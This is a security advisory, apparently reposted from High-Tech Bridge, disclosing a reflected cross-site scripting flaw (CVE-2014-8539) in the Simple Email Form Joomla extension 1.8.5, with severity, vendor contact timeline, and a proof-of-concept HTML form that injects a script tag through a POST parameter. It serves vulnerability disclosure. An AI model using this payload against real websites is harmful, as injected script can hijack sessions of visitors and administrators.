Joomla Simple Email Form 1.8.5 Cross Site Scripting Vulnerability

Product: Simple Email Form Joomla Extension
Vendor: Doug Bierer
Vulnerable Version(s): 1.8.5 and probably prior
Tested Version: 1.8.5
Advisory Publication:  October 29, 2014  [without technical details]
Vendor Notification: October 29, 2014 
Public Disclosure: November 19, 2014 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-8539
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Simple Email Form Joomla Extension, which can be exploited to perform Cross-Site Scripting (XSS) attacks against visitors and administrators of Joomla websites with installed plugin.


1) Reflected Cross-Site Scripting (XSS) in Simple Email Form Joomla Extension: CVE-2014-8539

Input passed via the "mod_simpleemailform_field2_1" HTTP POST parameter to "/index.php" script is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display "immuniweb" word:


<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="mod_simpleemailform_field1_1" value="[email protected]">
<input type="hidden" name="mod_simpleemailform_field2_1" value='"><script>alert("immuniweb");</script>'>
<input type="hidden" name="mod_simpleemailform_submit_1" value="Submit">
<input type="submit" id="btn">
</form>


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Solution:

Disclosure timeline:
2014-10-29 Vendor Alerted via emails.
2014-11-06 Vendor Alerted via emails.
2014-11-14 Fix Requested via emails.
2014-11-17 Fix Requested via emails.
2014-11-19 Public disclosure with self-written patch.

#  0day.today [2018-04-12]  #